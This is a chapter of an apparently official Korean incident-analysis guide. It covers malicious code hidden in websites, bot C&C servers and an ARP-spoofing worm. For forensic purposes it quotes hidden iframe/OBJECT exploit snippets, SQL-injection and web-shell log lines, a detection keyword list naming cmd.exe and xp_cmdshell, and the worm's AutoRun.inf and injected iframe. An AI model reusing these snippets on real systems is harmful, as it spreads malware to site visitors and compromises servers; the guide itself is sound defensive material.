www.kisa.or.kr 는 object 코드를삽입한다. <iframe src = http://www.xxx.xx.xx/123/123/index.htm name= A width= 0 frameborder= 0 > <OBJECT Width=0 Height=0 style= display:none; type= text/xscriptlet data=mk:@msitstore:mhtml:c:\nosuchfile.mht!http://www.example.com//exploit._chm: :exploit.html ></OBJECT> 나. 인코딩코드삽입 - 악성코드의은닉사실및내용을숨기기위해코드를인코딩하여삽입하기도한다. 제 4 장 다. 오류정보표시페이지에삽입 - 웹서버의오류정보페이지에일반웹페이지에삽입하는방법과마찬가지로악성코드를삽입한다. 침해사고분석절차가이드 128 129
제 4 장주요해킹사고별분석사례 < 그림 4-1> 웹서버에러페이지변조 라. 자바스크립트코드삽입 - 방문자수를카운트하는자바스크립트등많은페이지에서참조하는 js 또는 css 파일등에악성코드를삽입하기도한다. 마. 바이너리형태의객체삽입 - 플래시파일 (swf) 과같은외부객체파일에악성코드를삽입하여, 변조한객체를사용
www.kisa.or.kr 하는페이지접속자들에게악성프로그램을유포한다. < 그림 4-2> 플래시파일에삽입되어있는악성코드 바. 데이터베이스내의자료값변조 - 일반적인파일변조와는달리, 데이터베이스에저장되어있는자료값에악성프로그램유포용코드를삽입하기도한다. 제 4 장 < 그림 4-3> 데이터베이스자료값에삽입되어있는악성코드 위와같이다양한방법에의해삽입된악성코드를발견할경우즉시이를제거하여홈페 침해사고분석절차가이드 130 131
제 4 장주요해킹사고별분석사례 이지방문자들의감염을최소화하여야한다. 그리고, 전통적인분석절차에따라시스템내의휘발성정보를분석한다. 구동중인프로세스리스트, 네트워크상태, 레지스트리상태등을분석하여악성프로그램이구동중일경우해당프로세스나네트워크세션을차단하여추가적인피해확산을차단한다. 일차적으로홈페이지방문자들을감염시킬수있는악성코드를제거한후에는악성코드가삽입된원인및피해규모를파악할필요가있다. 이는웹로그및이벤트로그분석을통해확인이가능하다. 가. IIS 웹로그분석 지금까지분석된악성코드은닉사고는 SQL Injection 또는업로드취약점으로인한경우가많았는데, 이러한공격은웹로그분석을통해가능하다. 아래는공격자가 SQL Injection 취약점을이용한공격흔적이다. ex050611.log:2005-06-11 17:23:02 xxx.48.81.23 - victim_ip 80 GET /announce/new_detail.asp id=529 27 80040e14 [Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Unclosed_quot ation_mark_before_the_character_string_.500 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.2;SV1;.NETCLR1.1.4322) ex050611.log:2005-06-11 17:23:34 xxx.48.81.23 - victim_ip 80 GET /announce/new_detail.asp id=529;delete%20bb;insert%20bb%20exec%20master..xp_dirtree%20 C:\,1,1--200 MicrosoftURLControl-6.00.8862
www.kisa.or.kr 위의로그는 new_detail.asp 게시판프로그램의 id 라는인자가입력값을검증하지않아공격용 SQL Query를필터링없이받아들였음을보여주고있다. 첫번째라인의로그는공격자가취약점을확인하기위한것이며, 두번째라인은실제공격을하여공격이성공 ( 상태코드 200) 한것을확인할수있다. 웹관리자는웹로그를통해공격자가이용한웹프로그램의취약점을확인하고이를보완할필요가있다. 일반적으로 IIS 웹서버의 SQL Injection 공격은중국자동화된해킹도구에의해이루어지고있는데, 이도구에의한공격시에위와같은공격로그가수백 ~ 수천라인이생성되므로공격사실을쉽게알수가있다. SQL Injection 공격과함께악성코드은닉사고에많이사용되는방법은다운로드공격이다. 다음은공격자가다운로드취약점을공격한흔적이다. 2005-08-01 02:37:03 xxx.173.159.175 - victim_ip 80 POST /xxx/xpds/data/svnge.asa - 302 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;TencentTraveler) 2005-08-01 02:37:05 xxx.173.159.175 - victim_ip 80 GET /xxx/xpds/data/svnge.asa - 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;TencentTraveler) 2005-08-01 02:37:05 xxx.173.159.175 - victim_ip 80 GET /index.asp - 302 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;TencentTraveler) 제 4 장 위의로그는공격자가해킹프로그램 (svnge.asa) 을첨부파일로업로드하고, 해당해킹프로그램을웹브라우져를통해실제실행해본것을보여주고있다. 웹로그분석은해킹에이용된취약점을파악하는것뿐만아니라웹쉘 (WebShell) 과같은백도어탐지도가능하게한다. 침해사고분석절차가이드 132 133
제 4 장주요해킹사고별분석사례 다음은공격자가웹쉘을통해접근하여피해시스템의파일을리스팅하고특정파일을업로드하고, 또한특정파일을편집한흔적이다. ex050616.log:2005-06-16 16:18:03 xxx.xxx.xx.202 - victim_ip 80 GET /gallery/ok7.asp Action=MainMenu 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) ex050616.log:2005-06-16 16:18:04 xxx.xxx.xx.202 - victim_ip 80 GET /gallery/ok7.asp Action=ShowFile 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) ex050616.log:2005-06-16 16:18:41 xxx.xxx.xx.202 - victim_ip 80 GET /gallery/ok7.asp Action=CmdShell 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) ex050616.log:2005-06-16 16:20:11 xxx.xxx.xx.202 - victim_ip 80 GET /gallery/ok7.asp Action=UpFile 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) ex050616.log:2005-06-16 16:21:05 xxx.xxx.xx.202 - victim_ip 80 POST /gallery/ok7.asp Action=UpFile&Action2=Post 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) ex050616.log:2005-06-16 16:21:07 xxx.xxx.xx.202 - victim_ip 80 GET /gallery/ok7.asp Action=ShowFile 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) ex050616.log:2005-06-16 16:21:25 xxx.xxx.xx.202 - victim_ip 80 GET /gallery/ok7.asp Action=EditFile 200 Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) 이처럼악성코드은닉사고에서는 SQL Injection, 업로드공격등공격에이용된취약점및웹쉘실행등공격이후의행위를웹로그분석을통해확인할수있다. 하지만, 대규모웹사이트의경우엄청난량의웹로그가생성되어공격로그를찾아내기어려운경우가많다. 따라서, 모든로그를한라인씩분석하기보다는공격시발생되는특정키워드를찾는것이효율적일수있다. 다음은일반적으로웹공격시웹로그에나타날수있는스트링들이다. ODBC, 80040e07, and, select, delete, create, cmd.exe, xp_cmdshell, POST
www.kisa.or.kr 물론이러한스트링들이웹로그에나타났다고모두공격이라고단정지을수는없다. 이러한스트링이나타날경우공격가능성이높으므로좀더자세한분석이필요하다. 리눅스환경에익숙한관리자의경우윈도우즈에서리눅스환경 (vi 편집기, grep 등 ) 을사용할수있도록해주는 Cygwin을사용하면보다편리하게분석할수있다. 나. 이벤트로그분석 이벤트로그는시스템로그, 어플리케이션로그, 보안로그등 3가지종류가있다. 이벤트로그는 시작 프로그램 관리도구 ( 공용 ) 이벤트뷰어 를통해확인할수있다. MS-SQL 확장저장프로시저인 xp_cmdshell은 MS-SQL 서버를통해임의의커맨드명령을실행할수있는것으로정상적인웹프로그램에서사용할수도있으나일반적으로공격자에의해많이사용된다. 다음은 xp_cmdshell의실행기록이이벤트로그에남은것이다. 제 4 장 < 그림 4-4> 이벤트로그 그외에도로그온성공 / 실패관련로그 ( 보안이벤트로그가 enable 되어있을경우 ), 바이 침해사고분석절차가이드 134 135
제 4 장주요해킹사고별분석사례 러스백신에의한악성코드관련검출로그등공격에관련된유용한정보들을이벤트로그분석을통해얻을수있다. 홈페이지에악성코드가은닉된사이트들의경우공격사실을숨기기위해여러공격도구를설치하지않고반드시필요한도구만설치하기도한다. 하지만, 공격자는웹서버를해킹한후시스템을원격제어하기위한백도어나다른시스템을공격하기위한해킹프로그램을설치하는경우도흔히볼수있다. 악성코드은닉사고에서일반적으로볼수있는해킹프로그램은웹쉘로알려진백도어프로그램이다. 악성코드은닉사이트에서발견된웹쉘은일반적으로 ASP 프로그램으로제작되고있으며, 파일추가 / 삭제 / 변경, 원격명령실행등원격에서해당시스템을완벽하게제어할수있는기능을가지고있다. 다음은웹브라우져를통해접속한웹쉘의화면이다. < 그림 4-5> 웹쉘을통한웹서버원격제어
www.kisa.or.kr 공격자가웹쉘을통해피해시스템에침입하여악의적인행위를하는경우웹로그에그흔적이남는다. 따라서, 웹로그분석과정에서웹쉘사용유무를유심히살펴볼필요가있다. 웹쉘은다양한곳에위치할수있는데파일을업로드한폴더에서종종발견된다. 이외에도 \WINNT\system32 또는 \Windows\system32 폴더, 휴지통 (Recycle) 폴더등에서도일반악성프로그램들이종종발견된다. 이러한악성프로그램들은윈도우탐색기를통해공격발생시점을전후하여생성또는변경된파일들을찾는방법을사용할수도있다. 그리고, 특정중국공격도구로해킹당했을경우, t_jiaozhu, jiaozhu, comd_list, xiaopen 등과같은임의의테이블이 DB 에생성되기도한다. 악성코드은닉사고의사고분석시 DB 테이블을점검하여아래와같은이름의비정상적인테이블이있는지분석하고삭제하여야한다. 일반적으로공격자들은방화벽을통과하여한대의서버에해킹을성공하게되면이서버를통해내부망의다른서버들까지장악하려한다. 방화벽외부에서의공격보다는내부에서의공격이훨씬용이하고, 공개된웹서버이외에도좀더가치있는정보들이내부망에존재할가능성이높기때문이다. 따라서, 웹서버해킹피해시웹서버와연동된시스템들에대한분석도병행할필요가있다. 특히, 웹서버에악성코드가은닉되어있고, 웹서버와 DB 서버가분리되어운영되고있는환경인경우, DB 서버가이미해킹당했을가능성이높다. 중국에서제작된 SQL Injection 공격도구를사용할경우 DB 서버에서 1차적인해킹이이루어진 제 4 장 침해사고분석절차가이드 136 137
제 4 장주요해킹사고별분석사례 다. DB 서버에서는대부분공격로그가적절하게남지않으므로로그분석보다는 DB 테이블에비정상적인테이블이숨겨져있는지, 파일시스템에해킹프로그램이숨겨져있는지를중점적으로볼필요가있다. DB 서버의파일시스템분석시에는시스템폴더 (\WINNT\ system32 또는 \Windows\system32 폴더 ) 를중점적으로점검한다. 악성코드와시스템에숨겨진백도어등해킹프로그램을제거하였다고하더라도, 며칠후다시해킹을당하는경우가많다. 이는해킹프로그램만제거하고근본적인취약점을제거하지않았기때문이다. 따라서, 해당시스템에어떠한보안취약점이있는지분석할필요가있다. 가장우선적으로하여야할부분은공격자가이미공격에이용한취약점을확인하는것으로, 웹로그분석과정에서공격자가어느프로그램의어느인자의취약점을이용하여공격하였는지, 어느게시판에서파일업로드취약점이존재하는지를확인할수있다. 공격에이미이용되었던취약점은공격자가다시공격할가능성이상당히높으므로반드시취약점을제거하여야한다. 이외에도전반적으로웹프로그램상에서사용자의입력을받아들이는모든부분, 즉, URL 인자, 쿼리문자열, HTTP 헤더, 쿠키, HTML 폼인자등입력값에대한검증이필요하다. KrCERT/CC 홈페이지 (http://www.krcert.or.kr) 에서 홈페이지개발보안가이드 와 웹어플리케이션보안템플릿 을제공하고있으므로취약한부분의웹프로그램을보완할필요가있다. 안전한웹프로그램이재해킹을예방하기위한최선의방법이지만, 이미운영중인시스템에서프로그램을수정하기가쉽지않은경우도있다. 이경우에는웹방화벽의도입도검토해볼필요가있다. 중소기업과같이웹트래픽양이많지않은경우공개웹방화벽을사용하는것도바람직하다. 공개웹방화벽에는 IIS 웹서버용으로 WebKnight, Apache 웹서
www.kisa.or.kr 버용으로 ModSecurity 가있다. 이들툴들에대한설치 운영가이드와프로그램도 http://www.krcert.or.kr 홈페이지를통해다운로드받을수있다. 충분한최적화과정없이웹방화벽을적용할경우정상적인웹요청도차단될수있으므로자신의웹환경에맞도록 Rule 을커스터마이징하여야한다. 만약사고분석을위해서비스를중지하였다면백도어제거, 취약점제거및보안강화과정이후에다시서비스를재개한다. 한가지주의할점은공격자는이미악성코드를은닉한사이트에서악성코드가제거되어도다시공격하여악성코드를삽입하고자하는경우가많다. 실제어떤사이트는십여회이상재공격을당하기도하였다. 그리고, 이미해킹을당한사이트이므로웹페이지의취약점을재공격하지않고사전에만들어놓은백도어를통해접근할수도있다. 따라서, 서비스재개이후에당분간트래픽이나로그등의분석을통해해당시스템에대한이상징후를모니터링하고, 이에대해적절히대응할필요가있다. 제 2 절악성 Bot C&C 분석사례 제 4 장 국내의서버가악성봇들의명령 제어서버 ( 악성봇 C&C 서버 ) 로악용하는경우가지속적으로발견되고있다. 수십 ~ 수천개의봇에감염된시스템들이접속하는악성봇 C&C 서버의특성상빠른네트워크를필요로하기때문에, 인터넷인프라환경이우수한국내의서버를해킹하여악용하려는시도가계속되고있는것으로보인다. 이번절에서는사례를위주로악성봇 C&C 서버의분석방법에대해알아보자. 침해사고분석절차가이드 138 139
제 4 장주요해킹사고별분석사례 가. 네트워크패킷분석도구 악성봇 C&C 서버는외부의봇감염시스템과통신하기때문에해당시스템에서네트워크패킷을캡쳐 (capture) 하여분석하는일은기본적인분석과정이다. 네트워크패킷분석도구는상용제품인 sniffer, etherpeek, 공개제품인 ethereal 등이있다. 나. 포트, 프로세스확인도구 악성봇C&C서버에어떤포트가오픈되어있고이포트를오픈한프로세스가어떤것인지확인을하기위해필요하다. 윈도우나리눅스운영체제에서제공하는기본도구들이한계가있기때문에별도의도구를준비하는것이좋다. 프로세스와포트점검에는 fport, tcpview 와같은공개프로그램이많이사용된다. 다. 기타분석도구 경우에따라우리가찾고자하는프로세스가루트킷등에의해숨겨진경우가있다. 이럴때를대비하여루트킷을발견할수있는도구를추가적으로준비하는것이좋다. 루트킷발견도구는 Rootkit Hook Analyzer, RootkitRevealer 등이있다. 악성봇 C&C 서버현장조사결과, 해당시스템에프록시서버, 원격제어프로그램, 악성봇클라이언트등이함께발견되는경우가많았는데, 이들을발견하고치료하기위한최신버전의백신프로그램도함께준비하는것이좋다. 하지만, 악성봇 C&C 서버가사용하는 IRC(Internet Relay Chatting) 프로그램자체는악성프로그램이아니기때문에백신프로그
www.kisa.or.kr 램이잡아내지못하며, 변종악성봇의경우최신버전의백신프로그램도검출하지못하는경우가있다. 악성봇 C&C 서버는주로 IRC라는프로그램을설치하여운영한다. IRC 프로그램은원래인터넷사용자간대화를목적으로만들어졌지만, 사용자간의파일전송뿐아니라원격명령제어등도가능한프로그램이다. IRC프로그램중에서도많이쓰이는 Unreal IRC는리눅스및윈도우버전모두존재하여기본값으로 6667/tcp 포트를사용한다. 제 4 장 < 그림 4-6> Unreal IRCD 윈도우버전실행화면 침해사고분석절차가이드 140 141
제 4 장주요해킹사고별분석사례 최근많이발견되는 MS Exchange Chat Server는마이크로소프트사가개발한채팅프로그램으로 MS Exchange Server CD에포함되어배포되고있다. 기본포트는 7000/tcp 이다. < 그림 4-7> MS Exchange Chat Service 콘솔화면 악성봇 C&C 서버로의심되는서버에서우리가취해야할행동은다음의네가지이다. - 악성봇C&C서버로악용되고있는지여부 - 공격자는누구이며, 시스템에어떤행위를하였는지여부 - 악성봇C&C서버에접속한봇감염시스템들이어떤행위를하는지여부 - 사고조사를마치고시스템을원상복구
www.kisa.or.kr 가. 악성봇 C&C 서버판별 1) 악성봇C&C서버사용포트에접속악성봇C&C서버로해당포트번호를알고있다면 IRC클라이언트프로그램으로접속해봄으로써실제로악성봇C&C서버가운영되고있는지여부와배너등을통해도메인명이나접속자수등의정보를얻을수있다. 아래의그림은해커가시스템의권한을탈취한후 IRC서버프로그램을설치하여봇 C&C 서버로만든시스템에 ZeroIRC라는 IRC 클라이언트로접속한화면이다. 현재의접속자수와가장많았을때의접속자수등을접속시나타나는메시지를통해확인할수있다. 제 4 장 < 그림 4-8> ZeroIRC 를이용하여봇 C&C 에접속한화면 위의방법으로부터별다른정보를얻어내지못했다면 ethereal 같은프로그램을이용하여악성봇 C&C 서버의네트워크패킷을캡쳐하여해당포트를확인하는방법이있다. 침해사고분석절차가이드 142 143
제 4 장주요해킹사고별분석사례 아래그림은악성봇 C&C 서버에서 ethereal로캡쳐한네트워크패킷기록이다. 패킷을점검해보면외부에서해당서버로 6667포트접속시도가많은것을알수있다. ethereal 의 Follow TCP stream 기능을통해접속시도 IP와의 tcp 패킷중텍스트데이터부분을별도로발췌하여확인한내용이작은팝업창의내용이다. 이팝업창의내용을보면 NICK, USER, JOIN 등과같은 IRC에서사용되는명령어가보인다. 그뿐아니라악성봇 C&C 서버의도메인이름, IRC 프로그램의버전, 현재접속자수, 최대접속자수등의다양한정보도함께나타난다. < 그림 4-9> ethereal 로캡쳐한네트워크패킷기록 하지만악성봇C&C서버가항상봇감염시스템과통신하고있지않은경우가많다. 몇달정도악용된후버려진악성봇 C&C 서버의경우도많이발견되었기때문에네트워크패킷을분석하는방법이 100% 성공할수는없다는것을명심하기바란다.
www.kisa.or.kr 2) 해당프로세스확인 사용하는포트를확인한다음, fport나 tcpview 를이용하여해당포트를오픈한프로세스와파일의위치를추적한다. 아래의예제그림은또다른악성봇 C&C 서버에서 tcpview 를이용하여실행중인프로세스와해당프로세스가오픈한포트를감지한화면이다. 이시스템에서는 pdate.exe 라는의심스러운파일이 113번포트를오픈하고있는것을발견할수있다. 해당프로세스를선택하고마우스오른쪽버튼을클릭하면파일의정확한위치도파악할수있다. 제 4 장 < 그림 4-10> tcpview 의사용예 보통공격자는 IRC를시스템부팅시자동시작되도록레지스트리나시작프로그램에해당프로그램을등록하는경우가많다. 따라서, 이곳을확인함으로써 IRC프로그램을찾아 침해사고분석절차가이드 144 145
제 4 장주요해킹사고별분석사례 볼필요도있다. 아래의그림은시작서비스에등록되어있는 IRC 프로그램의화면이다. 왼쪽에있는화면은 unreal IRC를그대로등록명에사용한경우로쉽게발견이가능하지만, 오른쪽에있는화면의경우처럼해당파일의이름과서비스명을변경하여마치윈도우기본서비스나반드시필요한서비스인것처럼가장하는경우도많다. < 그림 4-11> 시작서비스에등록되어있는 IRC 프로그램의화면 마지막으로레지스트리의점검도필요한데, 아래의그림과같이부팅시자동으로시작될수있는레지스트리위치를검색하여의심스러운파일이등록되어있는지를확인할필요가있다.
www.kisa.or.kr < 그림 4-12> 레지스트리의점검 부팅시자동실행되도록등록하는레지스리는일반적으로다음과같다. HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKLM\Software\Microsoft\Windows\CurrentVersion\Windows\Load HKLM\Software\Microsoft\Windows\CurrentVersion\Windows\Run HKLM\Software\Microsoft\Windows\CurrentVersion\Userinit 제 4 장 침해사고분석절차가이드 146 147
제 4 장주요해킹사고별분석사례 나. 공격로그분석 공격로그분석에대해서는이미앞의장에서자세히설명하였기때문에이번절에서는생략하기로한다. 다만, IRC프로그램을직접설치하는경우는없기때문에공격자는먼저취약점을악용하여시스템의접근권한을얻어내고그후 IRC프로그램을복사해왔을것이므로이점을참조하여로그기록 ( 시스템의기본로그파일및 ircd.log 등 ) 과 IRC 설정파일 (ircd.conf 등 ) 을찾아추가적으로분석할필요가있다. 또한, 공격자를찾기위해해당시스템을 24시간정도모니터링할필요가있다. ircd를다운시키고기다리면공격자가다시들어와해당 ircd를다시시작하려는경우도발견되었다. 이때공격자는자신이만들어놓은백도어를통해들어오는경우가많다. 아래그림은공격자가다운된악성봇C&C서버를되살리기위해 TsInternetUser계정 ( 사전에공격자는이계정을 admin 그룹으로변경해두었다 ) 으로접속한화면이다. < 그림 4-13> 공격자가 TsInternetUser 계정으로접속한화면
www.kisa.or.kr 다. 봇감염시스템분석 악성봇C&C서버에접속해있는봇감염시스템이있는경우해당트래픽의모니터링을통해악성봇 C&C 서버가봇감염시스템에게어떠한행위를하는가파악한다. 봇감염시스템에서직접분석을하는것이가장좋은방법이나여의치않은경우악성봇C&C서버와의네트워크패킷을분석해본다. 아래그림은봇감염시스템이악성봇 C&C 서버와통신한기록을악성봇 C&C 서버쪽에서캡쳐한것이다. 아래의내용을보면봇감염시스템은악성봇 C&C 서버에접속하여명령을받는데, 또다른시스템에접속하여악성파일을다운받고실행하도록되어있다. 제 4 장 < 그림 4-14> 악성봇 C&C 서버쪽에서캡쳐한통신기록 침해사고분석절차가이드 148 149
제 4 장주요해킹사고별분석사례 라. 시스템원상복구 시스템에대한점검을마치고, 악성봇C&C서버를삭제하고자하는경우안전을위해시스템을안전모드 ( 윈도우의경우 ) 나 run level S( 리눅스의경우 ) 와같이네트워크가사용되지않는모드로변경한후해당파일을삭제한다. 또한, 레지스트리나시작서비스도함께삭제해야한다. 해당파일을삭제한후다시서비스를개시하기전에운영체제에대한보안강화를시행한다. 특히공격자가이용한취약점은반드시보완해야한다. 추가적으로운영체제보안패치를최신버전까지설치하고, 불필요한서비스를종료하는등의작업을수행해야한다. 참고로, 악성봇 C&C 서버를다운시켰더라도공격자가배포한봇 (bot) 에해당 ip 나도메인이들어있기때문에봇들의접속시도가당분간은지속될수있다. 제 3 절 ARP Spoofing 기법분석사례 최근해외로부터의홈페이지해킹후악성코드를삽입하는사건들이다수발생되고있는데, 이사고들은대부분해당웹서버가직접해킹당한후악성코드가삽입되어졌다. 하지만, 올초해당웹서버는전혀해킹을당하지않았음에도불구하고해당웹서버로부터악성코드가다운로드되는사건이발생했다. 이사건은공격자가동일한 IP 세그먼트내의다른서버를해킹한후 ARP Spoofing을이용하여특정웹서버와관련된웹트래픽을가로채어악성코드를삽입한사례였다.
www.kisa.or.kr 지금까지는사용자들이접속회수가높은웹서버를대상으로같은 IP 세그먼트내의다른서버를해킹하여 ARP Spoofing 공격을했었다. 하지만이번에소개할사례는웹서버가대상이아닌보안패치가되지않은개인사용자 PC 에 ARP Spoofing 행위를하는악성코드를감염시켜동일세그먼트에접속해있는다른사용자들을공격및악성코드를감염 / 전파하는사례를소개하고자한다. < 그림 4-15> 사고개요도 제 4 장 위의사고분석결과 ARP Spoofing을수행했던 PC 는 1대가아니라여러대였다. 같은서브네트워크 PC 들은최초감염된 PC 의 ARP Spoofing 공격으로인해공격자가유도한악성코드삽입페이지에접속되었다. 그러한 PC 중윈도우즈미보안패치사용자들은 ARP Spoofing 공격하는 googleons.exe 에또감염되고새롭게감염된 PC 는네트워크를대상으로 ARP Spoofing 공격을다시하게되므로네트워크장애가발생하게되었다. 침해사고분석절차가이드 150 151
제 4 장주요해킹사고별분석사례 분석대상 PC 들이있었던 OO 기업네트워크환경은아래와같았다. 서비스업체 : OOO (www.oooo.net) 네트워크환경 : OOO ISP 회선사용 IP 대역 : 21x.9x.14x.0, 21x.x8x.21x.0 가. ARP Spoofing 악성코드 (googleons.exe) 감염경로 아파트인터넷사용자중윈도우보안패치를하지않아아래와같은사이트에접속되어 ARP Spoofing 공격을하는악성코드에감염이되었다. 사이트 : down.onlinexxxxx.net 아이피 : 22x.2xx.139.12 근원지 : 중국 접속페이지 : < 그림 4-16> 악성코드감염경로
www.kisa.or.kr down.onlinexxxxx.net 사이트악성페이지구조는위와같으며 zzt.html 페이지는공격스크립트가있는페이지들로유도하는역할을한다. 첫번째 css.js 악성스크립트를통해 MDAC MS06-014 취약점을공격하여악성코드인 down.exe 를설치한다. 하지만보안업데이트와같은이유로공격에성공하지못하면또다른취약점들인 MS05-25 의 png 취약점공격과 MS07-017 ANI 취약점공격을통해 down.exe 프로그램설치를시도한다. 마지막으로는공격성공여부에상관없이 iframe 으로삽입되어있는 top2.html 코드를통해최근취약점인 MS07-027 공격까지시도하게된다. 윈도우즈보안미패치사용자는 down.exe 악성코드를공격스크립트들에의해사용자계정 Temp 하위디렉터리에 autoexebc.bat 로복사및실행하게된다. 위치 : C:\Documents and Settings\ 사용자계정 \Local Settings\Temp 실행된 autoexecbc.bat는아래그림과같이 down.onlinexxxxx.net 사이트에서 googleons.exe 악성코드를다운로드및실행하고연속해서악성프로그램들을다운, 생성, 실행하게된다. 제 4 장 < 그림 4-17> 감염된악성코드들 침해사고분석절차가이드 152 153
제 4 장주요해킹사고별분석사례 나. down.exe (autoexebc.bat) 악성코드분석 IE 취약점으로인해사용자 PC 에다운로드된 down.exe 는사용자폴더의 Temp 디렉터리에 autoexebc.bat 파일로복사된다. autoexebc.bat 의주요기능은아래와같다. ARP Spoofing 을하는 googleons.exe 다운로드및실행 시스템시간변경 : 2001 년 방화벽서비스중지및각종바이러스백신종료 다. googleons.exe 악성코드분석 googleons.exe 는 ARP Spoofing 공격을하는악성코드로또다른악성코드를다운로드및생성하여추가적인행위를하게된다. 주요기능은아래와같다.
www.kisa.or.kr 감염된 PC 와같은서브네트워크 ( 브로드캐스팅도메인 ) 대상으로아래와같이 ARP Spoofing 공격을한다. < 그림 4-18> 스푸핑공격 동일네트워크에서인터넷을사용하는사용자의 HTTP 네트워크패킷에아래와같이 <html 문자열이들어가면악성 iframe 을삽입한다. 제 4 장 < 그림 4-19> 악성코드삽입 침해사고분석절차가이드 154 155
제 4 장주요해킹사고별분석사례 공격자가유도한악성페이지접속으로인한윈도우미패치 PC 들악성코드감염 - googleons.exe 감염 USB 를통한악성코드전파 감염된 PC 드라이브중 USB 타입을갖는드라이브에아래와같은파일을생성하게되며사용자가컴퓨터에다시삽입할경우악성코드가자동으로실행되게한다. - wsnctfy.exe 생성 (googleons.exe 복사 ) - AutoRun.inf [AutoRun] open=wsnctfy.exe shellexecute=wsnctfy.exe shell\auto\command=wsnctfy.exe shell=auto
www.kisa.or.kr 시스템에존재하는.html, tml, asp, php, jsp 확장자를갖는파일에 "<body" 문자열이있으면아래와같은 iframe 을삽입 <iframe src=http://down.onlinexxxxx.net/page/image/pd.htm height=0></iframe> 재시작레지스트리에등록하여재부팅후에도시작 제 4 장 리소스에저장되어있는 Pcap 라이브러리파일및악성코드생성 침해사고분석절차가이드 156 157
제 4 장주요해킹사고별분석사례 다. ARP Spoofing 공격으로인한네트워크장애 googleons.exe 에감염된사용자 PC 는처음엔 1대지만이후에 ARP Spoofing 공격으로인해아래와같이감염 PC 가계속증가하게된다. googleons.exe 감염 PC 가많아져동일네트워크상에 ARP Spoofing 공격하는 PC 들이 6~7대까지증가하게되므로정상적인네트워크서비스를할수가없게된다.
www.kisa.or.kr 게이트웨이 모든패킷중계 스푸핑공격 모든패킷중계 두번째감염 PC 스푸핑공격 첫번째감염 PC < 그림 4-20> ARP spoofing 으로인한네트워크장애 이제까지는공격하고자하는웹서버와동일네트워크에존재하는보안에취약한웹서버를공격하여 ARP Spoofing 공격을시도하여정상적인서버의지나가는패킷들을가로채서악성코드를삽입했었다. 하지만이번사고에서는일반사용자 PC 네트워크대역을공격하는신종악성코드가등장해앞으로도이와같은악성코드들의감염및전파로인하여네트워크가다운되는현상이발생할것으로예상된다. ARP spoofing에대응할수있는대책으로는, 네트워크관리자가스위칭장비에서각포트별정적인 MAC 모니터링을강화할필요가있다. 그리고만약특정호스트로부터지속적 제 4 장 침해사고분석절차가이드 158 159